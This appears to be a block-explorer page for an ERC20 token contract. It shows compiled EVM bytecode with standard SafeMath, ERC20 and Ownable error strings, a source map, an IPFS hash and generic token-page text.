a3565b60405180910390a35b610dde8382610cd2565b949350505050565b600080610df3838561122a565b9050838110156104e65760405162461bcd60e51b815260040161057390611052565b60006104e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060008183610e735760405162461bcd60e51b81526004016105739190610f7a565b506000610a0f8486611242565b600060208284031215610e91578081fd5b81356104e6816112e9565b600060208284031215610ead578081fd5b81516104e6816112e9565b60008060408385031215610eca578081fd5b8235610ed5816112e9565b91506020830135610ee5816112e9565b809150509250929050565b600080600060608486031215610f04578081fd5b8335610f0f816112e9565b92506020840135610f1f816112e9565b929592945050506040919091013590565b60008060408385031215610f42578182fd5b8235610f4d816112e9565b946020939093013593505050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610fa657858101830151858201604001528201610f8a565b81811115610fb75783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252600190820152602160f81b604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156111fb5784516001600160a01b0316835293830193918301916001016111d6565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b6000821982111561123d5761123d6112d3565b500190565b60008261125d57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561127c5761127c6112d3565b500290565b600082821015611293576112936112d3565b500390565b6002810460018216806112ac57607f821691505b602082108114156112cd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146112fe57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122005ecc843362c7e9788a02c4717c3b52e908b3309343d6bdda634d37dc7c0cf8e64736f6c63430008000033

Deployed Bytecode Sourcemap

3755:6034:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5530:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6193:161;;;;;;;;;;-1:-1:-1;6193:161:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;4426:41::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;5807:100::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;4309:40::-;;;;;;;;;;-1:-1:-1;4309:40:0;;;;;:::i;:::-;;:::i;6744:313::-;;;;;;;;;;-1:-1:-1;6744:313:0;;;;;:::i;:::-;;:::i;4034:81::-;;;;;;;;;;;;;:::i;9091:286::-;;;;;;;;;;-1:-1:-1;9091:286:0;;;;;:::i;:::-;;:::i;:::-;;5716:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;4200:50::-;;;;;;;;;;-1:-1:-1;4200:50:0;;;;;:::i;:::-;;:::i;4541:40::-;;;;;;;;;;;;;:::i;3953:29::-;;;;;;;;;;;;;:::i;5915:119::-;;;;;;;;;;-1:-1:-1;5915:119:0;;;;;:::i;:::-;;:::i;2888:79::-;;;;;;;;;;;;;:::i;5621:87::-;;;;;;;;;;;;;:::i;7065:167::-;;;;;;;;;;-1:-1:-1;7065:167:0;;;;;:::i;:::-;;:::i;4474:26::-;;;;;;;;;;;;;:::i;6042:143::-;;;;;;;;;;-1:-1:-1;6042:143:0;;;;;:::i;:::-;;:::i;3102:157::-;;;;;;;;;;-1:-1:-1;3102:157:0;;;;;:::i;:::-;;:::i;4257:45::-;;;;;;;;;;-1:-1:-1;4257:45:0;;;;;:::i;:::-;;:::i;5530:83::-;5567:13;5600:5;5593:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5530:83;:::o;6193:161::-;6268:4;6285:39;6294:12;:10;:12::i;:::-;6308:7;6317:6;6285:8;:39::i;:::-;-1:-1:-1;6342:4:0;6193:161;;;;;:::o;4426:41::-;;;-1:-1:-1;;;;;4426:41:0;;:::o;5807:100::-;5887:12;;5807:100;:::o;4309:40::-;;;;;;;;;;;;;:::o;6744:313::-;6842:4;6859:36;6869:6;6877:9;6888:6;6859:9;:36::i;:::-;;6906:121;6915:6;6923:12;:10;:12::i;:::-;6937:89;6975:6;6937:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6937:19:0;;;;;;:11;:19;;;;;;6957:12;:10;:12::i;:::-;-1:-1:-1;;;;;6937:33:0;;;;;;;;;;;;-1:-1:-1;6937:33:0;;;:89;:37;:89::i;:::-;6906:8;:121::i;:::-;-1:-1:-1;7045:4:0;6744:313;;;;;;:::o;4034:81::-;;;:::o;9091:286::-;9184:10;9221:8;9245:10;;;:25;;;9259:5;9268:2;9259:11;9245:25;9242:66;;;-1:-1:-1;;;;;9285:15:0;;;;;;:4;:15;;;;;:23;;;9242:66;9336:6;;-1:-1:-1;;;;;9323:19:0;;;9336:6;;;;;9323:19;9319:50;;9357:12;;-1:-1:-1;;;9357:12:0;;;;;;;:::i;:::-;;;;;;;;9319:50;9091:286;;;;:::o;5716:83::-;5782:9;;;;5716:83;:::o;4200:50::-;;;;;;;;;;;;;;;:::o;4541:40::-;;;-1:-1:-1;;;4541:40:0;;;;;:::o;3953:29::-;;;;;;-1:-1:-1;;;;;3953:29:0;;:::o;5915:119::-;-1:-1:-1;;;;;6008:18:0;5981:7;6008:18;;;:9;:18;;;;;;;5915:119::o;2888:79::-;2926:7;2953:6;-1:-1:-1;;;;;2953:6:0;2888:79;:::o;5621:87::-;5660:13;5693:7;5686:14;;;;;:::i;7065:167::-;7143:4;7160:42;7170:12;:10;:12::i;:::-;7184:9;7195:6;7160:9;:42::i;4474:26::-;;;-1:-1:-1;;;;;4474:26:0;;:::o;6042:143::-;-1:-1:-1;;;;;6150:18:0;;;6123:7;6150:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6042:143::o;3102:157::-;3025:12;:10;:12::i;:::-;3015:6;;-1:-1:-1;;;;;3015:6:0;;;:22;;;3007:67;;;;-1:-1:-1;;;3007:67:0;;;;;;;:::i;:::-;3176:6:::1;:19:::0;;-1:-1:-1;;;;;;3176:19:0::1;-1:-1:-1::0;;;;;3176:19:0;;::::1;::::0;;::::1;::::0;;;3211:40:::1;::::0;3176:19;;3232:6;::::1;::::0;3211:40:::1;::::0;3176:6;3211:40:::1;3102:157:::0;:::o;4257:45::-;;;;;;;;;;;;;;;:::o;231:115::-;327:10;231:115;:::o;6362:337::-;-1:-1:-1;;;;;6455:19:0;;6447:68;;;;-1:-1:-1;;;6447:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6534:21:0;;6526:68;;;;-1:-1:-1;;;6526:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6607:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;6659:32;;;;;6637:6;;6659:32;:::i;:::-;;;;;;;;6362:337;;;:::o;7240:1080::-;7318:4;-1:-1:-1;;;;;7345:18:0;;7337:68;;;;-1:-1:-1;;;7337:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7424:16:0;;7416:64;;;;-1:-1:-1;;;7416:64:0;;;;;;;:::i;:::-;7504:16;;-1:-1:-1;;;7504:16:0;;;;7501:812;;;7553:32;7568:4;7574:2;7578:6;7553:14;:32::i;:::-;7546:39;;;;7501:812;7650:2;-1:-1:-1;;;;;7642:10:0;:4;-1:-1:-1;;;;;7642:10:0;;:26;;;;-1:-1:-1;7662:6:0;;-1:-1:-1;;;;;7656:12:0;;;7662:6;;;;;7656:12;7642:26;7641:43;;7679:5;7641:43;;;7672:4;7641:43;7637:109;;;7733:13;:6;7744:1;7733:10;:13::i;:::-;7722:6;;;;;-1:-1:-1;;;;;7722:6:0;7704:26;;;;:9;:26;;;;;:42;7637:109;7768:16;;-1:-1:-1;;;7768:16:0;;;;7767:17;:40;;;;-1:-1:-1;;;;;;7789:18:0;;;;;;:12;:18;;;;;;;;7788:19;7767:40;7763:204;;;7841:28;7872:24;7890:4;7872:9;:24::i;:::-;7841:55;;7915:36;7930:20;7915:14;:36::i;:::-;7763:204;;-1:-1:-1;;;;;8003:15:0;;;;;;:9;:15;;;;;;:27;;8023:6;8003:19;:27::i;:::-;-1:-1:-1;;;;;7985:15:0;;;;;;:9;:15;;;;;;;;:45;;;;8066:17;:23;;;;;;;;;:48;;-1:-1:-1;;;;;;8093:21:0;;;;;;:17;:21;;;;;;;;8066:48;8065:90;;8127:28;8142:4;8148:6;8127:14;:28::i;:::-;8065:90;;;8118:6;8065:90;-1:-1:-1;;;;;8200:13:0;;;;;;:9;:13;;;;;;8047:108;;-1:-1:-1;8200:26:0;;8047:108;8200:17;:26::i;:::-;-1:-1:-1;;;;;8184:13:0;;;;;;;:9;:13;;;;;;;:42;;;;8248:27;;;;;;;;;;8267:7;;8248:27;:::i;:::-;;;;;;;;8297:4;8290:11;;;;;1513:192;1599:7;1635:12;1627:6;;;;1619:29;;;;-1:-1:-1;;;1619:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1659:9:0;1671:5;1675:1;1671;:5;:::i;:::-;1659:17;1513:192;-1:-1:-1;;;;;1513:192:0:o;8328:330::-;8458:53;;;;;;;;;;;-1:-1:-1;;;8458:53:0;;;;;;;;-1:-1:-1;;;;;8458:17:0;;8421:4;8458:17;;;:9;:17;;;;;;;:53;;8480:6;;8458:21;:53::i;:::-;-1:-1:-1;;;;;8438:17:0;;;;;;;:9;:17;;;;;;:73;;;;8545:20;;;;;;;:32;;8570:6;8545:24;:32::i;:::-;-1:-1:-1;;;;;8522:20:0;;;;;;;:9;:20;;;;;;;:55;;;;8593:35;;;;;;;;;;8621:6;;8593:35;:::i;:::-;;;;;;;;-1:-1:-1;8646:4:0;8328:330;;;;;:::o;1711:248::-;1769:7;1793:6;1789:47;;-1:-1:-1;1823:1:0;1816:8;;1789:47;1846:9;1858:5;1862:1;1858;:5;:::i;:::-;1846:17;-1:-1:-1;1891:1:0;1882:5;1886:1;1846:17;1882:5;:::i;:::-;:10;1874:56;;;;-1:-1:-1;;;1874:56:0;;;;;;;:::i;8666:417::-;4622:16;:23;;-1:-1:-1;;;;4622:23:0;-1:-1:-1;;;4622:23:0;;;8761:16:::1;::::0;;8775:1:::1;8761:16:::0;;;;;::::1;::::0;;-1:-1:-1;;8761:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8761:16:0::1;8737:40;;8806:4;8788;8793:1;8788:7;;;;;;-1:-1:-1::0;;;8788:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;8788:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8832:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;8832:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;8788:7;;8832:22;;;;;:15;:22;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8822:4;8827:1;8822:7;;;;;;-1:-1:-1::0;;;8822:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;8822:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;8871:15:::1;::::0;9017:6:::1;::::0;8871:194:::1;::::0;-1:-1:-1;;;8871:194:0;;:15;;::::1;::::0;:66:::1;::::0;:194:::1;::::0;8952:6;;8871:15:::1;::::0;8990:4;;8871:15:::1;9017:6:::0;::::1;::::0;;::::1;::::0;9039:15:::1;::::0;8871:194:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;8867:209:::0;-1:-1:-1;;4668:16:0;:24;;-1:-1:-1;;;;4668:24:0;;;8666:417::o;1369:136::-;1427:7;1454:43;1458:1;1461;1454:43;;;;;;;;;;;;;;;;;:3;:43::i;9385:395::-;9459:7;;9497:22;9515:3;9497:13;:6;9459:7;9497:10;:13::i;:::-;:17;;:22::i;:::-;-1:-1:-1;;;;;9535:12:0;;;;;;:4;:12;;;;;;9479:40;;-1:-1:-1;9535:17:0;9532:51;;9567:16;9576:7;9567:6;:16;:::i;:::-;9556:27;;;;:::i;:::-;;;9532:51;9599:11;;9596:138;;9645:4;9627:24;;;;:9;:24;;;;;:35;;9655:7;;9627:24;:35;;9655:7;;9627:35;:::i;:::-;;;;-1:-1:-1;;9682:40:0;;9707:4;;-1:-1:-1;;;;;9682:40:0;;;;;;;9714:7;;9682:40;:::i;:::-;;;;;;;;9596:138;9753:19;:6;9764:7;9753:10;:19::i;:::-;9746:26;9385:395;-1:-1:-1;;;;9385:395:0:o;1178:181::-;1236:7;;1268:5;1272:1;1268;:5;:::i;:::-;1256:17;;1297:1;1292;:6;;1284:46;;;;-1:-1:-1;;;1284:46:0;;;;;;;:::i;1967:132::-;2025:7;2052:39;2056:1;2059;2052:39;;;;;;;;;;;;;;;;;2193:7;2228:12;2221:5;2213:28;;;;-1:-1:-1;;;2213:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2252:9:0;2264:5;2268:1;2264;:5;:::i;14:259:1:-;;126:2;114:9;105:7;101:23;97:32;94:2;;;147:6;139;132:22;94:2;191:9;178:23;210:33;237:5;210:33;:::i;278:263::-;;401:2;389:9;380:7;376:23;372:32;369:2;;;422:6;414;407:22;369:2;459:9;453:16;478:33;505:5;478:33;:::i;546:402::-;;;675:2;663:9;654:7;650:23;646:32;643:2;;;696:6;688;681:22;643:2;740:9;727:23;759:33;786:5;759:33;:::i;:::-;811:5;-1:-1:-1;868:2:1;853:18;;840:32;881:35;840:32;881:35;:::i;:::-;935:7;925:17;;;633:315;;;;;:::o;953:470::-;;;;1099:2;1087:9;1078:7;1074:23;1070:32;1067:2;;;1120:6;1112;1105:22;1067:2;1164:9;1151:23;1183:33;1210:5;1183:33;:::i;:::-;1235:5;-1:-1:-1;1292:2:1;1277:18;;1264:32;1305:35;1264:32;1305:35;:::i;:::-;1057:366;;1359:7;;-1:-1:-1;;;1413:2:1;1398:18;;;;1385:32;;1057:366::o;1428:327::-;;;1557:2;1545:9;1536:7;1532:23;1528:32;1525:2;;;1578:6;1570;1563:22;1525:2;1622:9;1609:23;1641:33;1668:5;1641:33;:::i;:::-;1693:5;1745:2;1730:18;;;;1717:32;;-1:-1:-1;;;1515:240:1:o;1760:203::-;-1:-1:-1;;;;;1924:32:1;;;;1906:51;;1894:2;1879:18;;1861:102::o;2192:187::-;2357:14;;2350:22;2332:41;;2320:2;2305:18;;2287:92::o;2618:603::-;;2759:2;2788;2777:9;2770:21;2820:6;2814:13;2863:6;2858:2;2847:9;2843:18;2836:34;2888:4;2901:140;2915:6;2912:1;2909:13;2901:140;;;3010:14;;;3006:23;;3000:30;2976:17;;;2995:2;2972:26;2965:66;2930:10;;2901:140;;;3059:6;3056:1;3053:13;3050:2;;;3129:4;3124:2;3115:6;3104:9;3100:22;3096:31;3089:45;3050:2;-1:-1:-1;3205:2:1;3184:15;-1:-1:-1;;3180:29:1;3165:45;;;;3212:2;3161:54;;2739:482;-1:-1:-1;;;2739:482:1:o;3226:399::-;3428:2;3410:21;;;3467:2;3447:18;;;3440:30;3506:34;3501:2;3486:18;;3479:62;-1:-1:-1;;;3572:2:1;3557:18;;3550:33;3615:3;3600:19;;3400:225::o;3630:398::-;3832:2;3814:21;;;3871:2;3851:18;;;3844:30;3910:34;3905:2;3890:18;;3883:62;-1:-1:-1;;;3976:2:1;3961:18;;3954:32;4018:3;4003:19;;3804:224::o;4033:351::-;4235:2;4217:21;;;4274:2;4254:18;;;4247:30;4313:29;4308:2;4293:18;;4286:57;4375:2;4360:18;;4207:177::o;4389:324::-;4591:2;4573:21;;;4630:1;4610:18;;;4603:29;-1:-1:-1;;;4663:2:1;4648:18;;4641:31;4704:2;4689:18;;4563:150::o;4718:397::-;4920:2;4902:21;;;4959:2;4939:18;;;4932:30;4998:34;4993:2;4978:18;;4971:62;-1:-1:-1;;;5064:2:1;5049:18;;5042:31;5105:3;5090:19;;4892:223::o;5120:356::-;5322:2;5304:21;;;5341:18;;;5334:30;5400:34;5395:2;5380:18;;5373:62;5467:2;5452:18;;5294:182::o;5481:401::-;5683:2;5665:21;;;5722:2;5702:18;;;5695:30;5761:34;5756:2;5741:18;;5734:62;-1:-1:-1;;;5827:2:1;5812:18;;5805:35;5872:3;5857:19;;5655:227::o;5887:400::-;6089:2;6071:21;;;6128:2;6108:18;;;6101:30;6167:34;6162:2;6147:18;;6140:62;-1:-1:-1;;;6233:2:1;6218:18;;6211:34;6277:3;6262:19;;6061:226::o;6292:177::-;6438:25;;;6426:2;6411:18;;6393:76::o;6474:983::-;;6784:3;6773:9;6769:19;6815:6;6804:9;6797:25;6841:2;6879:6;6874:2;6863:9;6859:18;6852:34;6922:3;6917:2;6906:9;6902:18;6895:31;6946:6;6981;6975:13;7012:6;7004;6997:22;7050:3;7039:9;7035:19;7028:26;;7089:2;7081:6;7077:15;7063:29;;7110:4;7123:195;7137:6;7134:1;7131:13;7123:195;;;7202:13;;-1:-1:-1;;;;;7198:39:1;7186:52;;7293:15;;;;7258:12;;;;7234:1;7152:9;7123:195;;;-1:-1:-1;;;;;;;7374:32:1;;;;7369:2;7354:18;;7347:60;-1:-1:-1;;;7438:3:1;7423:19;7416:35;7335:3;6745:712;-1:-1:-1;;;6745:712:1:o;7462:184::-;7634:4;7622:17;;;;7604:36;;7592:2;7577:18;;7559:87::o;7651:128::-;;7722:1;7718:6;7715:1;7712:13;7709:2;;;7728:18;;:::i;:::-;-1:-1:-1;7764:9:1;;7699:80::o;7784:217::-;;7850:1;7840:2;;-1:-1:-1;;;7875:31:1;;7929:4;7926:1;7919:15;7957:4;7882:1;7947:15;7840:2;-1:-1:-1;7986:9:1;;7830:171::o;8006:168::-;;8112:1;8108;8104:6;8100:14;8097:1;8094:21;8089:1;8082:9;8075:17;8071:45;8068:2;;;8119:18;;:::i;:::-;-1:-1:-1;8159:9:1;;8058:116::o;8179:125::-;;8247:1;8244;8241:8;8238:2;;;8252:18;;:::i;:::-;-1:-1:-1;8289:9:1;;8228:76::o;8309:380::-;8394:1;8384:12;;8441:1;8431:12;;;8452:2;;8506:4;8498:6;8494:17;8484:27;;8452:2;8559;8551:6;8548:14;8528:18;8525:38;8522:2;;;8605:10;8600:3;8596:20;8593:1;8586:31;8640:4;8637:1;8630:15;8668:4;8665:1;8658:15;8522:2;;8364:325;;;:::o;8694:127::-;8755:10;8750:3;8746:20;8743:1;8736:31;8786:4;8783:1;8776:15;8810:4;8807:1;8800:15;8826:133;-1:-1:-1;;;;;8903:31:1;;8893:42;;8883:2;;8949:1;8946;8939:12;8883:2;8873:86;:::o

Swarm Source

ipfs://05ecc843362c7e9788a02c4717c3b52e908b3309343d6bdda634d37dc7c0cf8e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.